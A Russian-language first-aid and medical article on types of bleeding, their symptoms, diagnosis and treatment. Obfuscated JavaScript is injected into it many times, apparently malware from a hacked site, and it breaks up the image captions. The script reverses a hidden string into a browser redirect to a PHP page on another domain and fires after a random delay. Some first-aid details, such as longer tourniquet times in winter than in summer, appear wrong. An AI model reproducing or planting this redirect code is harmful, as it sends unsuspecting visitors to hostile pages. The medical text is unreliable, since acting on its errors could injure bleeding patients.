Кровотечение: как правильно оказывать помощь

Каждый человек на протяжении своей жизни так или иначе сталкивался с кровотечением. Любая кровопотеря, от самой незначительной до массивной, обязательно наносит урон организму. Большая потеря крови может служить причиной развития тяжёлых осложнений, нарушающих нормальную жизнедеятельность любого живого существа. Именно поэтому столь необходимо понимать, чем различаются венозное, артериальное, паренхиматозное и внутреннее кровотечение, как грамотно отказывать первую не врачебную помощь и не навредить неаккуратными приёмами. Помните, что иногда не стоит действовать самостоятельно: лучше дождаться прибытия кареты скорой медицинской помощи и квалифицированного персонала.

Содержание

Что являет собой процесс кровотечения

Кровотечение — патофизиологический процесс, в основе которого лежит поступление крови из сосудистого русла в тканевые структуры (если кровотечение внутреннее) или в окружающий мир (когда кровотечение наружное). Каждое кровотечение является патологическим состоянием, при течении которого запрещено оставлять пациента без первой или врачебной помощи.

Исключением являются физиологические кровотечения у женщин во время менструального периода. Этот процесс обусловлен отторжением эндометрия и не наносит организму выраженного вреда, так как подобный объём кровопотери переносится без особенных усилий и легко возмещается в течение нескольких дней.

Лечить любое кровотечение должен врач соответствующей квалификации. Чаще всего этим занимаются абдоминальные хирурги, нейрохирурги, гастроэнтерологи, хирурги, выполняющие операции на грудной клетке, кардиохирурги и микрохирурги. В некоторых случаях очаг кровотечения можно устранить с помощью гибкого эндоскопа: это не требует дополнительных вмешательств и снижает риск развития вторичных осложнений у пациентов. Известно, что кровотечение является одной из самых распространённых травм на земле: эта патология поражает детей, подростков, взрослых людей и стариков с одинаковой периодичностью.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/vrach-ostanavlivaet-krovotechenie.jpg» alt=»Врач останавливает кровотечение» width=»700″ height=»360″ /> Кровотечение — одна из самых часто встречаемых травм

Как правильно классифицировать кровотечения

В настоящее время многие хирурги и терапевты прибегают к многоступенчатой и сложной классификации кровотечения. Она позволяет максимально точно определить область локализации поражения, установить вид кровотечения в зависимости от его сообщения со внутренней средой, а также установить связь с другими патологическими состояниями организма.

Классификация кровотечений по их сообщению с окружающей средой:

  1. Наружнее кровотечение. При этом виде патологии кровь вытекает из травмированного сосудистого русла на поверхность кожи и попадает в окружающую среду. Такое кровотечение чаще всего сопровождается травматическим повреждением наружных кожных покровов, подкожной жировой ткани, и костных и суставных структур. Довольно легко диагностируется невооружённым взглядом.
  2. Внутреннее кровотечение представляет собой излитие небольшого количества крови в полостное образование тела, которое так или иначе контактирует с внешней средой (желудочно-кишечный тракт, мочевой пузырь, уретра, ткань лёгких). Такое кровотечение обнаружить немного сложнее, так как оно не имеет выраженной клинической симптоматики до более поздних этапов развития.
  3. Диагноз внутреннего закрытого кровотечения ставится, если кровь скапливается в полостных образованиях, у которых нет контакта с окружающей средой. Это может быть диафрагма, полость перикарда, пространство за жировой клетчаткой глаза. В таких случаях образовавшаяся гематома может рассосаться самостоятельно, кристаллизоваться или даже нагноиться, что повлечёт за собой крайне неприятные последствия для организма.

Классификация кровотечений по типу повреждённого сосуда:

  1. Кровотечение из артериального сосуда. Артерии переносят по организму кровь, богатую кислородом и полезными для тела элементами. Кровь выходит из раневого отверстия очень быстро и под большим давлением, что обуславливает высокую опасность такого типа кровопотери для организма.
  2. Кровотечение из венозных сосудов. Вены уносят от тканей человеческого тела кровь с продуктами распада органических и неорганических веществ. Венозное кровотечение протекает довольно медленно и является менее фатальным для организма.
  3. Кровотечение из капилляров. Капилляры — мельчайшие сосудистые трубочки, которые кровоснабжают все органы человеческого тела (печень, почки, лёгкие, пищеварительную железу). Эти органы не обладают способностью к сокращению, что обуславливает невозможность быстрой и самостоятельной остановки кровотечения.
  4. Смешанный тип кровотечения сочетает в себе признаки всех вышеперечисленных. Довольно часто возникает при массивной травматизации тканей и ушибах.

Классификация кровотечений в зависимости от места локализации:

  • шея;
  • голова;
  • верхние конечности;
  • грудная клетка;
  • область живота;
  • нижние конечности;
  • область таза;
  • внутренние органы (почки, сердце, печень, желудок, селезёнка, лёгкие, поджелудочная железа, кишечник, прямая кишка и так далее).

Классификация кровотечений в зависимости от количества потерянной крови:

  • лёгкая (до 500 миллилитров);
  • средняя (от 500 миллилитров до 1 литра);
  • тяжёлая (до 1,6 литров);
  • крайне тяжёлая (более 1,6 литров);
  • смертельно тяжёлая (от 2 до 2,7 литров).

Классификация кровотечений по сочетанию с другими видами травм:

  • изолированные кровотечения;
  • повреждения сосудистой стенки, сочетанные с:
    • ожогами;
    • обморожениями;
    • размозжениями;
    • гематомами;
    • наружными травмами кожных покровов;
    • сотрясениями и смещениями внутренних органов.

Классификация по времени возникновения:

  • острая патология (возникает внезапно на фоне практически полного здоровья);
  • хроническое кровотечение (имеет постоянный характер);
  • рецидивирующее кровотечение (этапы обострения сменяются временными промежутками ремиссии).

Патогенез возникновения кровотечений разных форм

При артериальном остром кровотечении происходит резкий разрыв сосуда, находящегося под высоким давлением. Это провоцирует массивный выход кровяного содержимого из просвета тонкой трубочки сосуда, у пациента резко уменьшается количество жидкости, проходящей через насосную систему камер сердца. Снижается сердечный выброс и ударный объём кровообращения: организм не получает достаточного количества питательных веществ и кислорода, что приводит к централизации обмена крови в организме. Богатую кислородом плазму получают только особенно важные органные структуры: мозги, сердце и почки. Это приводит к ишемии и некротическим изменениям в других частях тела.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/vidy-krovotecheniya-728×360.png» alt=»Виды кровотечения» width=»728″ height=»360″ /> Каждый вид кровотечения характеризуется своими особенностями

Венозное и паренхиматозное кровотечения не являются настолько фатальными и стремительными. При травматизаци этих сосудов кровь уходит медленно, не создаётся выраженного дефицита жидкости. Внутреннее органное кровотечение развивается как итог разрыва любого сосуда тканей. Происходит излитие жидкости в любое полостное образование, где гематома может нагноиться, петрифицироваться или кристаллизоваться.

Причины развития кровотечений в организме человека

К сожалению, кровотечения встречаются у людей любого возраста и пола вне зависимости от условий окружающей среды. Кровотечение — самая часто встречаемая травма, которая имеет великое множество различных причин. Большинства из них удастся избежать при соблюдении всех правил техники безопасности и своевременном обращении к врачу, но некоторые из них предотвратить не представляется возможным. Причины развития кровотечений различного типа:

  • резаные ранения;
  • рваные и размозжённые ранения;
  • колотые раны;
  • рубленые раны;
  • укушенные раны;
  • разрывы сосудов;
  • перфорации сосудистой стенки;
  • изъязвления сосудистой стенки;
  • острое отравление кислотами или щелочами;
  • паразитарная инвазия;
  • патологии печени (цирроз, желтуха);
  • туберкулёз;
  • выкидыш или аборт в ходу;
  • сифилис;
  • эндометрит;
  • внематочная беременность;
  • язвенная болезнь желудка и двенадцатиперстной кишки с перфорацией;
  • разрыв или повреждение геморроидальных узлов;
  • язвенно-некротическая ангина;
  • распад раковой опухоли в органах;
  • разрыв лёгочных сосудов;
  • язвенно-рубцовый стеноз пищевода;
  • перфорация стенок внутренних органов;
  • инородное тело;
  • болезни, связанные с нарушениями свёртываемости крови (ДВС-синдром, гемофилия);
  • тромбоцитопении и тромбоцитопатии;
  • аномальные маточные кровотечения.

Большинство причин кровотечения носят травматический характер: это напрямую связано с нарушением правил безопасности и активным образом жизни. Именно поэтому врачи выделяют некоторые группы риска — людей, которые чаще остальных подвержены развитию подобных патологических состояний.

Если вы или ваши близкие входят в группы риска, обязательно принимайте все меры индивидуальной защиты. Использование специальных фиксаторов, защитного снаряжения и ношения специальных шлемов поможет снизить вероятность развития травмы в несколько раз.

Кто чаще всего рискует приобрести травмы, ведущие к развитию кровотечений:

  • профессиональные спортсмены и борцы;
  • рабочие горнодобывающей промышленности (горняки, шахтёры);
  • промышленные альпинисты;
  • рабочие заводов и производств, связанных с механизированной техникой;
  • военные и служащие различных подразделений;
  • спасатели, работники МЧС;
  • полицейские;
  • пожарные.

Характерные признаки наружных и внутренних кровотечений

Внутренние и наружные кровотечения, хоть и сильно отличаются друг от друга по этиологическим и патогенетическим особенностям, имеют ряд общих черт. К ним относятся выраженная слабость, тошнота и рвота, которые возникают из-за уменьшения количество циркулирующей в организме жидкости и начала синдрома общей интоксикации. И также специфическими признаками любого кровотечения являются снижение концентрации и внимания, нарушения памяти, головные боли и головокружения, сопровождающиеся мельканием мушек перед глазами, повышенная утомляемость. Именно эти клинические симптомы в сочетании с данными наружного осмотра, пальпации и перкуссии позволяют доктору поставить максимально достоверный и точный диагноз.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/yazvennoe-krovotechenie-728×448.jpg» alt=»Желудок и язвенное кровотечение» width=»728″ height=»448″ /> Наиболее часто причиной внутреннего кровотечения служит язва

К наиболее распространённым симптомам развития внутреннего кровотечения относятся:

  • рвота содержимым цвета кофейного напитка (при желудочном кровотечении);
  • дегтеобразный стул с примесью кровяных прожилок (при кровотечении из кишечника);
  • ярко-алая кровь после дефекации (если центр кровотечения локализован в ампуле прямой кишки);
  • кровь, появляющаяся при кашле (разрыв лёгочных сосудиков);
  • боли в области сердца (кровоизлияние в перикардиальную сумку);
  • чувство переполнения в грудной клетке (кровотечение в плевральную полость);
  • боли в области живота;
  • кровянистые выделения из половых органов;
  • появление кровянистого содержимого в моче;
  • затруднение дыхания;
  • потери сознания;
  • одышка;
  • снижение артериального давления на 30 и более миллиметров;
  • обморочные и синкопальные состояния.

Таблица: сравнительная характеристика симптоматических проявлений наружных кровотечений

Сравнительная характеристика Артериальное кровотечение Венозное кровотечение Капиллярное кровотечение
Объёмы потерянной крови Большие, массивные и сверхмассивные: более полутора литров Чаще средние или малые: от 260 миллилитров до одного литра Незначительные, до 100 миллилитров
Цвет и консистенция вытекающей крови Ярко-алая, красная Темно-бордовая, более густая Красная
Размеры и глубина раны Широкая резаная рана средней глубины Глубокая, узкая Незначительное повреждение малой глубины
Скорость кровотечения Высокая, под большим давлением Медленная кровопотеря Быстрое пропитывание повязки
Время развития Остро возникающая патология Хроническая патология Может быть острым и хроническим

Фотогалерея: формы наружного кровотечения

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»30786,30785,30784″]

Как поставить диагноз внутреннего кровотечения

Внутреннее кровотечение — одна из самых тяжёлых патологий, так как в большей части случаев протекает практически бессимптомно. Пациенты предъявляют жалобы на слабость, тошноту и утрату сознания только при массивной потере кровяной жидкости. Именно поэтому так сильно возрастает диагностическая значимость лабораторных и инструментальных методов исследования, с помощью которых появляется возможность уточнить место локализации гематомы и назначить специфическое лечение в кратчайшие сроки.

Наиболее часто для диагностики внутренних кровотечений применяют следующие методики:

  1. Общий анализ крови. С помощью этого простого исследования появляется возможность определить уровень гемоглобина, эритроцитов и тромбоцитов, который будет значительно снижен. По уровню гемоглобина и цветового показателя, который определяет количество этого белка в одной клетке крови, можно судить о сложности и серьёзности кровопотери.
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/probirki-s-krovyu-1.jpg» alt=»Пробирки с кровью» width=»707″ height=»707″ /> Общий анализ крови — самый простой и достоверный лабораторный метод
  2. Общий анализ мочи позволяет выявить скрытый источник кровотечения в области малого таза (половые органы, уретра, мочевой пузырь). В анализе будет наблюдаться изменение цвета мочи на красный, а также увеличение её плотности и удельного веса.
  3. Ультразвуковое сканирование организма, основанное на способности волны звука отражаться от объектов различной плотности с разной частотой, позволит определить локализацию гематомы. На снимках внутреннее кровотечение выглядит как массивное затенение с нечёткими границами и смазанными контурами.
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/uzi-zhivota-728×485.jpg» alt=»УЗИ живота» width=»728″ height=»485″ /> Ультразвуковое исследование абсолютно безболезненно и безопасно
  4. Магнитно-резонансное и компьютерное исследование — новейшие методики, с помощью которых можно получить наиболее полную и подробную информацию о строении человеческого тела. Они позволяют увидеть человеческое тело в разрезе в самых разных плоскостях: так обнаружить внутреннее кровотечение и его источник становится ещё легче.
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/mrt-apparat-728×485.jpg» alt=»МРТ аппарат» width=»728″ height=»485″ /> Процедура МРТ проводится в специально оборудованных больницах

Как грамотно помочь пострадавшему при кровотечении любой этиологии

Как известно, травматическая ситуация может произойти в тот момент, когда врача, медицинской сестры или любого другого квалифицированного персонала не окажется в зоне досягаемости. Именно поэтому каждый человек обязан знать, как правильно оказывать спасательные мероприятия и вовремя прийти на помощь пострадавшему. Первое, с чего следует начать — это осмотр. Внимательно изучите состояние больного, определите, находится ли он в сознании. А также обращайте внимание на цвет кожных покровов, характер, оттенок и интенсивность вытекающей крови: это позволит определить вид кровотечения.

Помните, что пациентам с закрытыми и открытыми травмами головы, переломами костей таза и позвоночника оказывать помощь нужно на месте, не сдвигая больного относительно поверхности, так как это может вызвать смещение костных отломков и увеличить степень травматизации внутренних органов.

Помните, что сразу же после осмотра необходимо успокоить пациента. Скорее всего, он находится в состоянии шока в момент получения травмы, поэтому может не осознавать полностью тяжесть своего состояния, пытаться двигаться или даже уйти с места получения травмы. Такое поведение может спровоцировать ухудшение его состояния, поэтому стоит простым и понятным языком разъяснить ему необходимость нахождения на месте.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/avtomobilnaya-aptechka-728×556.jpg» alt=»Автомобильная аптечка» width=»728″ height=»556″ /> Автомобильная аптечка содержит всё необходимое для оказания первой помощи

Какие предметы понадобятся для того, чтобы прекратить истечение крови:

  • резиновый жгут;
  • бинт;
  • любая плотная ткань;
  • ремень;
  • вата или ватные диски;
  • пакет с колотым льдом или снег;
  • перекись водорода или любой доступный антисептик, не содержащий спирта.

Оказание первой помощи при кровотечении из артерии

Кровопотеря больших объёмов при этом кровотечении происходит в течение минут или даже секунд: стоит действовать как можно энергичнее и продуктивнее. Первым и самым действенным способом прекращения потока крови является пальцевое прижатие сосуда. Помните, что обязательно стоит соблюдать некоторые правила собственной безопасности: обмотайте свою руку бинтом, любой тканью или одеждой, это уменьшит риск получения инфекций, передающихся через кровь. Также стоит обработать перекисью водорода область раны и близлежащие ткани. Обязательно прижимайте пульсирующую артерию к костному выступу выше места её повреждения.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/mesta-palcevogo-prizhatiya-arteriy-728×798.jpg» alt=»Места пальцевого прижатия артерий» width=»728″ height=»798″ /> Необходимо плотно сжимать артерию, чтобы уменьшить поток крови

Помните, что строго-настрого запрещено пережимать сонную артерию: это может вызвать острое нарушение мозгового кровообращения, а также спровоцировать у пациента развитие инфаркта мозга.

Другим не менее действенным способом служит наложение на повреждённую конечность ремня или жгута:

  1. Укутайте повреждённую конечность в ткань или средний слой марли выше места сосудистой травмы на пять-десять сантиметров.
  2. Используя эластичный жгут (можно применить толстую резинку или провод), два или три раза плотно обмотайте поражённую конечность.
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/zhgut-na-ruke-728×486.jpg» alt=»Жгут на руке» width=»728″ height=»486″ /> Наложение жгута — лучшая помощь при кровотечении из артерии
  3. Кончики жгута укрепите между собой с помощью скрепки, степлера или проволоки, чтобы они не разошлись.
  4. Оставьте повреждённую часть тела на возвышении.
  5. Зафиксируйте поминутно и посекундно час наложения кровеостанавливающего жгута и оставьте записку для врачей неотложки.

Зимой жгут можно держать не более шестидесяти минут, а летом — до тридцати.

Видео: как помочь пострадавшему при кровотечении из артерии

Как помочь пострадавшему, если у него развиваются признаки венозного кровотечения

При кровотечении из вены кровь стекает гораздо медленнее, чем при артериальном: это даёт необходимый запас времени. Наиболее эффективными методиками остановки кровотечения из венозного сосуда являются давящая эластичная повязка и жгут. Пальцевое сжатие гораздо менее эффективно, так как вены имеют больший диаметр и менее упругие и эластичные стенки.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/nalozhenie-davyashchey-povyazki-728×848.jpg» alt=»Наложение давящей повязки» width=»728″ height=»848″ /> Необходимо соблюдать все правила наложения повязки

Наложение жгута производится по тем же правилам, что и при артериальной кровопотере. Однако присутствует одна очень важная особенность, о которой не следует забывать при совершении мероприятий первой помощи: кровь из венозного русла течёт снизу вверх, поэтому накладывать жгут необходимо ниже места травматизации, стараясь максимально приблизиться к ране. Давящая эластичная повязка имеет несколько другие правила наложения:

  1. Возьмите стерильный бинт или марлевый тампон, смочите их в растворе перекиси водорода или не спиртовом хлоргексидине.
  2. Туго положитие на поверхность поражения полученную повязку.
  3. Зафиксируйте её сверху несколькими турами широкого бинта.
  4. Обязательно оставьте для врачей время наложения повязки.

Видео: как помочь пациенту при развитии у него венозной кровопотери

Помощь при кровотечении из капилляров

Остановить кровотечение и из капилляров достаточно просто. При этом виде поражения не потребуется прибегать к сложным хирургическим манипуляциям: будет достаточно обработать раневую поверхность антисептическим раствором. После этого на область повреждения накладывается прочная и тугая повязка из ваты и марли, которая затем фиксируется бинтом. Через полчаса при необходимости можно заменить повязку.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/zabintovannyy-palec-728×546.jpg» alt=»Забинтованный палец» width=»728″ height=»546″ /> Помните, что капиллярное кровотечение тоже необходимо остановить

Как правильно помочь и не навредить при кровотечении из паренхимы органа

Паренхиматозное кровотечение представляет крайнюю опасность тем, что его невозможно предотвратить с помощью повязки или точечного сдавления. Из-за повреждения стенок капилляров в области травмы вся поверхность выделяет кровь равномерно, а только что наложенная повязка с ватой тут же пропитывается кровью. В отличие от капиллярной кровопотери, этот вид травмы развивается только при повреждении внутренних органов. Именно поэтому профессиональную медицинскую помощь должен оказывать только хирург в приёмном отделении любой больницы.

Первая помощь очевидцев происшествия должна заключаться в придании больному положения со слегка поднятым ножным концом (для этого стоит подложить под стопы сумку, сложенные валиком вещи, коробки или ящики), а также в наложении холода на зону предполагаемой травматизации.

Помните, что лёд, снег или другие охлаждённые предметы нельзя укладывать на голое человеческое тело: это может спровоцировать обморожение. Необходимо создать между свёртком со льдом и кожей прослойку из чистой ткани.

Что делать при развитии внутреннего кровотечения

Внутреннее кровотечение — довольно опасная патология, несвоевременное лечение которой провоцирует развитие непоправимых последствий. Помните, что принимать какие-то меры по самостоятельной остановке внутреннего кровотечения в таком случае невозможно: только врач способен оценить масштабы кровопотери и её интенсивность. Чего категорически делать нельзя при развитии у пациента кровотечения внутреннего типа:

  • менять положение тела в пространстве;
  • запрокидывать голову и шею;
  • давать пострадавшему еду и питьё;
  • самостоятельно пытаться вводить лекарственные препараты;
  • массировать область поражения.

При подозрении на развитие у пострадавшего гематомы внутренних органов стоит немедленно вызвать скорую медицинскую помощь. Вторым этапом будет служить наложение на зону повреждения ёмкости со льдом или холодного предмета.

Как проводится врачебная помощь при внутреннем и наружном кровотечении

После оказания первой доврачебной помощи больного привозят в стационар, где лечением патологии занимается хирург определённого профиля. Чаще всего используют следующие методы остановки кровотечения в условиях операционной:

  1. Хирургическое ушивание повреждённого сосуда. Наиболее часто в хирургической практике применяется сосудистый шов — соединение между собой двух частей разорванного сосуда. При этом производится незначительное иссечение повреждённых краёв раны, что способствует лучшему заживлению. Обычно накладывают швы на вены или артерии, паренхиматозное кровотечение традиционно останавливают совершенно другими способами.
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/sosudistyy-shov.jpg» alt=»Сосудистый шов» width=»577″ height=»892″ /> Существует сразу несколько разновидностей сосудистого шва
  2. Тампонада паренхиматозного кровотечения. Самый простой способ остановить паренхиматозное кровотечение — плотно затампонировать рану. В настоящее время для этой цели используются как синтетические, так и природные материалы в виде лоскута мышцы, части сальника на ножке. С их помощью можно обеспечить максимально полное прилегание тканей и более быструю их регенерацию.
  3. Лечебно-диагностическая пункция. С помощью длинной и тонкой пункционной иглы появляется возможность не только диагностировать, но и полностью устранить источник кровотечения. Удалить кровь таким образом можно из любого полостного образования: перикарда, плевры, брюшной полости. Прокол иглы производится по чётко установленной линии сразу же после обезболивания.
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/punkciya-grudnoy-polosti-728×546.jpg» alt=»Пункция грудной полости» width=»728″ height=»546″ /> Пункция плевральной полости помогает удалить кровь из области лёгких
  4. Лапароцентез. Эта методика также используется для диагностики внутрибрюшного скрытого кровотечения, когда пункция оказывается не в силах диагностировать расположение гематомы. Ниже пупка врач выполняет небольшой разрез, через который вводятся хирургические инструменты. После этого с помощью крючков поднимают и фиксируют апоневротическую часть брюшной стенки, затем помещая в образованный промежуток троакар и мандрен — узкие инструменты, напоминающие иглу с трубкой. Когда брюшная стенка будет проколота, мандрен удалят, а в просвет троакара поместят катетер, который удалит скопившуюся кровь.
  5. Криохирургическое вмешательство. Криохирургия — способ воздействия на ткани с использованием низких температур. В настоящее время в основном используют газы: азот, аргон, углекислый газ, которые оказывают щадящее замораживающее действие на повреждённые сосуды, закупоривая их и предотвращая ток крови.
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/kriohirurgiya-728×598.jpg» alt=»Криохирургический аппарат» width=»728″ height=»598″ /> С помощью такого аппарата можно остановить кровь даже в самых мелких сосудах
  6. Пакетирование паренхиматозных органов. Печень, почки, селезёнка и поджелудочная железа содержат большое количество мелких капилляров, что не позволяет использовать для остановки такого типа кровотечения стандартные швы или удаление кровеносного инфильтрата. Именно для этого был разработан метод пакетирования — помещение органа в специальный биологически разлагаемый пакет, который создаёт вакуум, прекращающий ток крови по сосудам. Благодаря такой технике удаётся остановить даже самые массивные кровотечения паренхиматозных органов и избежать некротических осложнений.
  7. Использование гемостатической губки. Гемостатическая губка представляет собой небольшой стерильный предмет, содержащий коллаген, борную кислоту и нитрофурал, который накладывается в область раневой поверхности и останавливает кровь за несколько минут. Примечательным является то, что использование этого препарата строго запрещено при артериальных кровотечениях, поэтому его используют только для остановки венозного или паренхиматозного тока крови. Обычно губку накладывают в один слой, но если кровотечение не удаётся остановить, прибегают к наложению второго слоя гемостатического материала. Сверху губку фиксируют посредством накожных швов.
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/gemostaticheskaya-gubka-728×546.jpg» alt=»Гемостатическая губка» width=»728″ height=»546″ /> Коллагеновая гемостатическая губка хорошо останавливает кровь

Прогнозы и вероятные осложнения кровотечения

При не осложнённом кровотечении средней степени тяжести остановка кровопотери наступает практически сразу же после проведения спасательных мероприятий. При более серьёзных травмах кровь может вытекать из раны в течение нескольких часов. Такое состояние неблагоприятно сказывается на всём организме в целом: развиваются массивные осложнения, которые напрямую зависят от объёма потерянной крови и степени загрязнённости окружающих тканей в момент получения травмы.

Чем дольше пациент находился без квалифицированной медицинской помощи, тем выше у него риск развития многих сердечно-сосудистых патологий.

К основным осложнениям, которые вызываются кровотечением разных форм, причисляют:

  • развитие геморрагического шока — острого патологического состояния, при котором происходит внезапное падение артериального давления, уменьшение количества отделяемой мочи, а также нарушения сознания;
  • обморочные состояния;
  • инфицирование раневой поверхности;
  • развитие септического шока;
  • остановку сердца и инфаркт;
  • ишемические повреждения сердца, лёгких, почек и печени;
  • кислородное голодание мозга;
  • формирование аневризматических образований в сосудах;
  • деформацию и сдавление гематомой органов жизнеобеспечения (сердца, мозга);
  • образование ложных кист в организме;
  • петрификацию и кальцификацию гематом с развитием спаек в брюшной полости, полости малого таза;
  • анемию хронических состояний.

К сожалению, от возникновения кровотечений в настоящее время не застрахован ни один человек. Но особую важность приобретают мероприятия первичной профилактики: всем людям нужно соблюдать элементарные правила техники безопасности, осторожно обращаться с колющими и режущими предметами, а также лечить хронические заболевания внутренних органов. Помните, что своевременное оказание первой помощи поможет снизить риск развития осложнений в несколько раз. Именно поэтому помочь пострадавшему должен уметь каждый, вне зависимости от наличия у него медицинского образования.

Adblock
detector